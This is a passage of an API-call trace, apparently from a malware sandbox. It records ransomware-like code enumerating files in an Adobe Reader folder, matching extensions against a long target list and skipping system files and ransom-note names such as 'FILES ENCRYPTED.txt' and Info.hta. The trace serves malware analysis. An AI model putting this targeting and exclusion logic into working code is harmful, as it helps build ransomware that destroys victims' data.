(lpString1=".csv", lpString2=".png") returned -1 [0274.671] lstrlenW (lpString=".cub") returned 4 [0274.671] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0274.671] lstrlenW (lpString=".dae") returned 4 [0274.671] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0274.671] lstrlenW (lpString=".dat") returned 4 [0274.672] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0274.672] lstrlenW (lpString=".db") returned 3 [0274.672] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0274.672] lstrlenW (lpString=".dbf") returned 4 [0274.672] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0274.672] lstrlenW (lpString=".dbx") returned 4 [0274.672] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0274.672] lstrlenW (lpString=".dc3") returned 4 [0274.672] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0274.672] lstrlenW (lpString=".dcm") returned 4 [0274.672] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0274.672] lstrlenW (lpString=".dcr") returned 4 [0274.672] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0274.672] lstrlenW (lpString=".der") returned 4 [0274.672] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0274.672] lstrlenW (lpString=".dib") returned 4 [0274.672] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0274.672] lstrlenW (lpString=".dic") returned 4 [0274.672] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0274.672] lstrlenW (lpString=".dif") returned 4 [0274.672] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0274.672] lstrlenW (lpString=".divx") returned 5 [0274.672] lstrcmpiW (lpString1=".divx", lpString2="n.png") returned -1 [0274.672] lstrlenW (lpString=".djvu") returned 5 [0274.672] lstrcmpiW (lpString1=".djvu", lpString2="n.png") returned -1 [0274.672] lstrlenW (lpString=".dng") returned 4 [0274.672] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0274.672] lstrlenW (lpString=".doc") returned 4 [0274.672] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0274.672] lstrlenW (lpString=".docm") returned 5 [0274.672] lstrcmpiW (lpString1=".docm", lpString2="n.png") returned -1 [0274.672] lstrlenW (lpString=".docx") returned 5 [0274.672] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0274.672] lstrlenW (lpString=".dot") returned 4 [0274.672] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0274.673] lstrlenW (lpString=".dotm") returned 5 [0274.673] lstrcmpiW (lpString1=".dotm", lpString2="n.png") returned -1 [0274.673] lstrlenW (lpString=".dotx") returned 5 [0274.673] lstrcmpiW (lpString1=".dotx", lpString2="n.png") returned -1 [0274.673] lstrlenW (lpString=".dpx") returned 4 [0274.673] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0274.673] lstrlenW (lpString=".dqy") returned 4 [0274.673] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0274.673] lstrlenW (lpString=".dsn") returned 4 [0274.673] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0274.673] lstrlenW (lpString=".dt") returned 3 [0274.673] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0274.673] lstrlenW (lpString=".dtd") returned 4 [0274.673] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0274.673] lstrlenW (lpString=".dwg") returned 4 [0274.673] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0274.673] lstrlenW (lpString=".dwt") returned 4 [0274.673] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0274.673] lstrlenW (lpString=".dx") returned 3 [0274.673] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0274.673] lstrlenW (lpString=".dxf") returned 4 [0274.673] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0274.673] lstrlenW (lpString=".edml") returned 5 [0274.673] lstrcmpiW (lpString1=".edml", lpString2="n.png") returned -1 [0274.673] lstrlenW (lpString=".efd") returned 4 [0274.673] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0274.673] lstrlenW (lpString=".elf") returned 4 [0274.673] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0274.673] lstrlenW (lpString=".emf") returned 4 [0274.673] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0274.674] lstrlenW (lpString=".emz") returned 4 [0274.674] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0274.674] lstrlenW (lpString=".epf") returned 4 [0274.674] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0274.674] lstrlenW (lpString=".eps") returned 4 [0274.674] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0274.674] lstrlenW (lpString=".epsf") returned 5 [0274.674] lstrcmpiW (lpString1=".epsf", lpString2="n.png") returned -1 [0274.674] lstrlenW (lpString=".epsp") returned 5 [0274.674] lstrcmpiW (lpString1=".epsp", lpString2="n.png") returned -1 [0274.674] lstrlenW (lpString=".erf") returned 4 [0274.674] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0274.674] lstrlenW (lpString=".exr") returned 4 [0274.674] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0274.674] lstrlenW (lpString=".f4v") returned 4 [0274.674] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0274.674] lstrlenW (lpString=".fido") returned 5 [0274.674] lstrcmpiW (lpString1=".fido", lpString2="n.png") returned -1 [0274.674] lstrlenW (lpString=".flm") returned 4 [0274.674] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0274.674] lstrlenW (lpString=".flv") returned 4 [0274.674] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0274.674] lstrlenW (lpString=".frm") returned 4 [0274.674] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0274.674] lstrlenW (lpString=".fxg") returned 4 [0274.674] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0274.674] lstrlenW (lpString=".geo") returned 4 [0274.674] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0274.674] lstrlenW (lpString=".gif") returned 4 [0274.675] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0274.675] lstrlenW (lpString=".grs") returned 4 [0274.675] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0274.675] lstrlenW (lpString=".gz") returned 3 [0274.675] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0274.675] lstrlenW (lpString=".h") returned 2 [0274.675] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0274.675] lstrlenW (lpString=".hdr") returned 4 [0274.675] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0274.675] lstrlenW (lpString=".hpp") returned 4 [0274.675] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0274.675] lstrlenW (lpString=".hta") returned 4 [0274.675] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0274.675] lstrlenW (lpString=".htc") returned 4 [0274.675] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0274.675] lstrlenW (lpString=".htm") returned 4 [0274.675] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0274.675] lstrlenW (lpString=".html") returned 5 [0274.675] lstrcmpiW (lpString1=".html", lpString2="n.png") returned -1 [0274.675] lstrlenW (lpString=".icb") returned 4 [0274.675] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0274.675] lstrlenW (lpString=".ics") returned 4 [0274.675] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0274.675] lstrlenW (lpString=".iff") returned 4 [0274.675] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0274.675] lstrlenW (lpString=".inc") returned 4 [0274.675] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0274.675] lstrlenW (lpString=".indd") returned 5 [0274.675] lstrcmpiW (lpString1=".indd", lpString2="n.png") returned -1 [0274.675] lstrlenW (lpString=".ini") returned 4 [0274.675] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0274.675] lstrlenW (lpString=".iqy") returned 4 [0274.675] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0274.676] lstrlenW (lpString=".j2c") returned 4 [0274.676] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0274.676] lstrlenW (lpString=".j2k") returned 4 [0274.676] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0274.676] lstrlenW (lpString=".java") returned 5 [0274.676] lstrcmpiW (lpString1=".java", lpString2="n.png") returned -1 [0274.676] lstrlenW (lpString=".jp2") returned 4 [0274.676] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0274.676] lstrlenW (lpString=".jpc") returned 4 [0274.676] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0274.676] lstrlenW (lpString=".jpe") returned 4 [0274.676] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0274.676] lstrlenW (lpString=".jpeg") returned 5 [0274.676] lstrcmpiW (lpString1=".jpeg", lpString2="n.png") returned -1 [0274.676] lstrlenW (lpString=".jpf") returned 4 [0274.676] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0274.676] lstrlenW (lpString=".jpg") returned 4 [0274.676] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0274.676] lstrlenW (lpString=".jpx") returned 4 [0274.676] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0274.676] lstrlenW (lpString=".js") returned 3 [0274.676] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0274.676] lstrlenW (lpString=".jsf") returned 4 [0274.676] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0274.676] lstrlenW (lpString=".json") returned 5 [0274.676] lstrcmpiW (lpString1=".json", lpString2="n.png") returned -1 [0274.676] lstrlenW (lpString=".jsp") returned 4 [0274.676] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0274.676] lstrlenW (lpString=".kdc") returned 4 [0274.677] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0274.677] lstrlenW (lpString=".kmz") returned 4 [0274.677] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0274.677] lstrlenW (lpString=".kwm") returned 4 [0274.677] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0274.677] lstrlenW (lpString=".lasso") returned 6 [0274.677] lstrcmpiW (lpString1=".lasso", lpString2="on.png") returned -1 [0274.677] lstrlenW (lpString=".lbi") returned 4 [0274.677] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0274.677] lstrlenW (lpString=".lgf") returned 4 [0274.677] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0274.677] lstrlenW (lpString=".lgp") returned 4 [0274.677] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0274.677] lstrlenW (lpString=".log") returned 4 [0274.677] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0274.677] lstrlenW (lpString=".m1v") returned 4 [0274.677] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0274.677] lstrlenW (lpString=".m4a") returned 4 [0274.677] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0274.677] lstrlenW (lpString=".m4v") returned 4 [0274.677] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0274.677] lstrlenW (lpString=".max") returned 4 [0274.677] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0274.677] lstrlenW (lpString=".md") returned 3 [0274.677] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0274.677] lstrlenW (lpString=".mda") returned 4 [0274.677] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0274.677] lstrlenW (lpString=".mdb") returned 4 [0274.677] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0274.678] lstrlenW (lpString=".mde") returned 4 [0274.678] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0274.678] lstrlenW (lpString=".mdf") returned 4 [0274.678] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0274.678] lstrlenW (lpString=".mdw") returned 4 [0274.678] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0274.678] lstrlenW (lpString=".mef") returned 4 [0274.678] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0274.678] lstrlenW (lpString=".mft") returned 4 [0274.678] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0274.678] lstrlenW (lpString=".mfw") returned 4 [0274.678] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0274.678] lstrlenW (lpString=".mht") returned 4 [0274.678] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0274.678] lstrlenW (lpString=".mhtml") returned 6 [0274.678] lstrcmpiW (lpString1=".mhtml", lpString2="on.png") returned -1 [0274.678] lstrlenW (lpString=".mka") returned 4 [0274.678] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0274.678] lstrlenW (lpString=".mkidx") returned 6 [0274.678] lstrcmpiW (lpString1=".mkidx", lpString2="on.png") returned -1 [0274.678] lstrlenW (lpString=".mkv") returned 4 [0274.678] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0274.678] lstrlenW (lpString=".mos") returned 4 [0274.678] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0274.678] lstrlenW (lpString=".mov") returned 4 [0274.678] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0274.678] lstrlenW (lpString=".mp3") returned 4 [0274.679] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0274.679] lstrlenW (lpString=".mp4") returned 4 [0274.679] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0274.679] lstrlenW (lpString=".mpeg") returned 5 [0274.679] lstrcmpiW (lpString1=".mpeg", lpString2="n.png") returned -1 [0274.679] lstrlenW (lpString=".mpg") returned 4 [0274.679] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0274.679] lstrlenW (lpString=".mpv") returned 4 [0274.679] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0274.679] lstrlenW (lpString=".mrw") returned 4 [0274.679] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0274.679] lstrlenW (lpString=".msg") returned 4 [0274.679] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0274.679] lstrlenW (lpString=".mxl") returned 4 [0274.679] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0274.679] lstrlenW (lpString=".myd") returned 4 [0274.679] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0274.679] lstrlenW (lpString=".myi") returned 4 [0274.679] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0274.679] lstrlenW (lpString=".nef") returned 4 [0274.679] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0274.679] lstrlenW (lpString=".nrw") returned 4 [0274.679] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0274.679] lstrlenW (lpString=".obj") returned 4 [0274.679] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0274.680] lstrlenW (lpString=".odb") returned 4 [0274.680] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0274.680] lstrlenW (lpString=".odc") returned 4 [0274.680] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0274.680] lstrlenW (lpString=".odm") returned 4 [0274.680] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0274.680] lstrlenW (lpString=".odp") returned 4 [0274.680] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0274.680] lstrlenW (lpString=".ods") returned 4 [0274.680] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0274.680] lstrlenW (lpString=".oft") returned 4 [0274.680] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0274.680] lstrlenW (lpString=".one") returned 4 [0274.680] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0274.680] lstrlenW (lpString=".onepkg") returned 7 [0274.680] lstrcmpiW (lpString1=".onepkg", lpString2="con.png") returned -1 [0274.680] lstrlenW (lpString=".onetoc2") returned 8 [0274.680] lstrcmpiW (lpString1=".onetoc2", lpString2="icon.png") returned -1 [0274.680] lstrlenW (lpString=".opt") returned 4 [0274.680] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0274.680] lstrlenW (lpString=".oqy") returned 4 [0274.680] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0274.680] lstrlenW (lpString=".orf") returned 4 [0274.680] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0274.680] lstrlenW (lpString=".p12") returned 4 [0274.680] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0274.680] lstrlenW (lpString=".p7b") returned 4 [0274.680] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0274.680] lstrlenW (lpString=".p7c") returned 4 [0274.680] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".pam") returned 4 [0274.681] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".pbm") returned 4 [0274.681] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".pct") returned 4 [0274.681] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".pcx") returned 4 [0274.681] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".pdd") returned 4 [0274.681] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".pdf") returned 4 [0274.681] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".pdp") returned 4 [0274.681] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".pef") returned 4 [0274.681] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".pem") returned 4 [0274.681] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".pff") returned 4 [0274.681] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".pfm") returned 4 [0274.681] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".pfx") returned 4 [0274.681] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".pgm") returned 4 [0274.681] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".php") returned 4 [0274.681] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0274.681] lstrlenW (lpString=".php3") returned 5 [0274.681] lstrcmpiW (lpString1=".php3", lpString2="n.png") returned -1 [0274.681] lstrlenW (lpString=".php4") returned 5 [0274.681] lstrcmpiW (lpString1=".php4", lpString2="n.png") returned -1 [0274.681] lstrlenW (lpString=".php5") returned 5 [0274.681] lstrcmpiW (lpString1=".php5", lpString2="n.png") returned -1 [0274.682] lstrlenW (lpString=".phtml") returned 6 [0274.682] lstrcmpiW (lpString1=".phtml", lpString2="on.png") returned -1 [0274.682] lstrlenW (lpString=".pict") returned 5 [0274.682] lstrcmpiW (lpString1=".pict", lpString2="n.png") returned -1 [0274.682] lstrlenW (lpString=".pl") returned 3 [0274.682] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0274.682] lstrlenW (lpString=".pls") returned 4 [0274.682] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0274.682] lstrlenW (lpString=".pm") returned 3 [0274.682] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0274.682] lstrlenW (lpString=".png") returned 4 [0274.682] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0274.682] lstrlenW (lpString="rhp_world_icon.png") returned 18 [0274.682] lstrlenW (lpString=".love$") returned 6 [0274.682] lstrcmpiW (lpString1=".love$", lpString2="on.png") returned -1 [0274.682] lstrlenW (lpString="rhp_world_icon.png") returned 18 [0274.682] lstrcmpiW (lpString1="boot.ini", lpString2="rhp_world_icon.png") returned -1 [0274.682] lstrcmpiW (lpString1="bootfont.bin", lpString2="rhp_world_icon.png") returned -1 [0274.682] lstrcmpiW (lpString1="ntldr", lpString2="rhp_world_icon.png") returned -1 [0274.682] lstrcmpiW (lpString1="ntdetect.com", lpString2="rhp_world_icon.png") returned -1 [0274.682] lstrcmpiW (lpString1="io.sys", lpString2="rhp_world_icon.png") returned -1 [0274.682] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="rhp_world_icon.png") returned -1 [0274.682] lstrcmpiW (lpString1="Info.hta", lpString2="rhp_world_icon.png") returned -1 [0274.682] lstrcmpiW (lpString1="finbbp.exe", lpString2="rhp_world_icon.png") returned -1 [0274.682] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png") returned 126 [0274.682] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0274.682] lstrlenW (lpString="rhp_world_icon_2x.png") returned 21 [0274.682] lstrlenW (lpString=".1cd") returned 4 [0274.683] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0274.683] lstrlenW (lpString=".3ds") returned 4 [0274.683] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0274.683] lstrlenW (lpString=".3fr") returned 4 [0274.683] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0274.683] lstrlenW (lpString=".3g2") returned 4 [0274.683] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0274.683] lstrlenW (lpString=".3gp") returned 4 [0274.683] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0274.683] lstrlenW (lpString=".7z") returned 3 [0274.683] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0274.683] lstrlenW (lpString=".accda") returned 6 [0274.683] lstrcmpiW (lpString1=".accda", lpString2="2x.png") returned -1 [0274.683] lstrlenW (lpString=".accdb") returned 6 [0274.683] lstrcmpiW (lpString1=".accdb", lpString2="2x.png") returned -1 [0274.683] lstrlenW (lpString=".accdc") returned 6 [0274.683] lstrcmpiW (lpString1=".accdc", lpString2="2x.png") returned -1 [0274.683] lstrlenW (lpString=".accde") returned 6 [0274.683] lstrcmpiW (lpString1=".accde", lpString2="2x.png") returned -1 [0274.683] lstrlenW (lpString=".accdt") returned 6 [0274.683] lstrcmpiW (lpString1=".accdt", lpString2="2x.png") returned -1 [0274.683] lstrlenW (lpString=".accdw") returned 6 [0274.683] lstrcmpiW (lpString1=".accdw", lpString2="2x.png") returned -1 [0274.683] lstrlenW (lpString=".adb") returned 4 [0274.683] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0274.683] lstrlenW (lpString=".adp") returned 4 [0274.683] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0274.683] lstrlenW (lpString=".ai") returned 3 [0274.683] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0274.683] lstrlenW (lpString=".ai3") returned 4 [0274.683] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0274.683] lstrlenW (lpString=".ai4") returned 4 [0274.683] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0274.684] lstrlenW (lpString=".ai5") returned 4 [0274.684] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0274.684] lstrlenW (lpString=".ai6") returned 4 [0274.684] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0274.684] lstrlenW (lpString=".ai7") returned 4 [0274.684] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0274.684] lstrlenW (lpString="rhp_world_icon_hover.png") returned 24 [0274.684] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0274.684] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0274.684] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0274.684] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0274.685] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.685] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0274.685] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark") returned 119 [0274.685] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark") returned 1 [0274.685] lstrlenW (lpString="dark") returned 4 [0274.685] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="dark") returned -1 [0274.685] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0274.685] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark") returned 119 